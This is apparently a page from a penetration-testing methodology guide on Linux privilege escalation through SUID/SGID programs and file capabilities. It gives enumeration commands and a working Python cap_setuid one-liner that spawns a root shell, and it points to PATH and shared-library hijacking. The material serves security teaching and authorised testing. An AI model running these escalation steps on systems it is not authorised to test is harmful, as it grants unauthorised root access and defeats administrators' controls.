Use a SUID or SGID program's exposed privileged primitive

Needs: Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege

Shell commands

# Baseline
find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null

# Inspect one candidate
namei -l /PATH/TO/BINARY
stat /PATH/TO/BINARY
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null
strings /PATH/TO/BINARY | head -n 150
dpkg -S /PATH/TO/BINARY 2>/dev/null
rpm -qf /PATH/TO/BINARY 2>/dev/null

# Capability interpretation and example
capsh --print 2>/dev/null
grep '^Cap' /proc/self/status

Only when the exact interpreter has effective cap_setuid

# Only when the exact interpreter has effective cap_setuid
/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

Verify → Verify effective IDs and the exact privileged operation; a real UID or prompt label alone is insufficient.

If it fails → nosuid, privilege dropping, fixed arguments or MAC policy can invalidate a candidate. Distinguish a file-read primitive from arbitrary execution. More detail ↓

If → then

A privileged program/job invokes a helper without an absolute path → Hijack an unqualified helper through controlled PATH resolution
Needs: A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists
An interpreter/helper has an effective high-value capability → Use a file capability that enables a specific privileged operation
Needs: The exact capability is effective in the execution context; mount/namespace/bounding-set restrictions permit its use
A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path → Control a privileged program's shared-library resolution
Needs: Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Use a SUID or SGID program's exposed privileged primitive

USE WHEN: A nonstandard or dangerous privileged executable
STARTING ACCESS: A verified Linux foothold with a known effective UID, groups and filesystem context
RESULT: A verified privileged file operation or effective UID/GID transition

Recognize the clue

Inventory privileged-mode files, then focus on custom/nonstandard programs and inspect ownership, mount and documented behavior.

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
file /PATH/TO/BINARY

SYNTHETIC EXAMPLE OUTPUT

-rwsr-xr-x root root /opt/APP/custom-helper
-rwxr-sr-x root GROUP /PATH/TO/SGID_HELPER

Means: The s bits identify an execution credential mechanism; nonstandard behavior warrants inspection but is not a vulnerability itself.

Confirm: Run stat on the flagged executable and findmnt -T on its path. Check the SUID owner, nosuid and exact binary behavior; after a permitted operation run id to see whether the elevated effective UID was retained.

After validation: The program exposes a permitted privileged read/write/exec operation: choose that exact mode.
Ruled out in this context: It drops privilege before the controllable operation or runs on nosuid: reject that assumed transition.
Still inconclusive: Only the SUID listing is known: inspect its actual behavior and constraints before choosing an escape.

Troubleshooting: nosuid, privilege dropping, fixed arguments or MAC policy can invalidate a candidate. Distinguish a file-read primitive from arbitrary execution.

Additional prerequisite checks

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
findmnt -T /PATH/TO/BINARY

Rank nonstandard/custom paths, unexpected versions, writable binaries/parents and dangerous interpreters. Inspect one candidate:

Look for a documented SUID/capability primitive, unsafe relative helper, arbitrary file operation, user-controlled config/plugin or exact vulnerable version. Normal distribution SUID files are not findings by themselves.

Capability interpretation and example

High-value capability candidates include cap_setuid, cap_setgid, cap_dac_override, cap_dac_read_search, cap_sys_ptrace, cap_sys_admin, cap_setfcap and cap_sys_module. cap_net_raw is usually not a direct root transition.

Only when the exact interpreter has effective cap_setuid:

+ep indicates permitted plus the file effective bit. Bounding sets, namespaces, nosuid mounts and program behavior can still change the result.

Why it works

The mode bit changes execution credentials, but programs may drop them or constrain operations. A stock SUID listing is not a vulnerability; identify the exact program behavior.

Worked example · hypothetical

Observation: a custom SUID helper invokes another program by relative name. Test: inspect its call and inherited effective identity. Illustrative output: the helper retains root and resolves through a controlled path. Interpretation: apply the PATH method and verify the final identity.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗